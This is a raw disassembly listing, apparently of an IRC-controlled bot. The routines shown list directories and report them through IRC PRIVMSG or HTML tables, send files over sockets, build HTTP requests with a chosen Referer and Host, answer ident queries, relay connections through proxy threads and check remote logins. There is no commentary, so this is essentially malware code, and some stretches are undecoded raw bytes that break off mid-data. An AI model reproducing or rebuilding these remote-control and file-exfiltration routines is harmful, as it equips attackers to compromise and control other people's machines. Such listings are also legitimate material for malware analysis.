aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25D0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2770000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 276061Ch nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2760000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call near ptr 2670ECAh nop loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2770000h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2750421h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 27008FEh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx call near ptr 2750000h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A38o ; ___:00437A4Co jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2780000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2700000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 26608E4h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F9C push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F58 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26E0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_434004 push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi ; --------------------------------------------------------------------------- db 0E8h, 26h, 0FBh dd 8B900226h, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 0CBE89032h, 0EB022609h, 41FE8EDh dd 50900227h, 433FC868h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_43408C push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2680000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2670ECAh jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j call near ptr 2680925h nop push eax push offset unk_43404C call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2CF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_434164 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26E0000h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26E0000h nop loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434128 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2680925h push eax push offset unk_4340FC call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26E0000h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340D0 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434190 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341BC call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2C68501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Ch, 410CCBh, 123E890h, 0C0850237h, 6AE82975h dd 900226FEh, 42E86850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 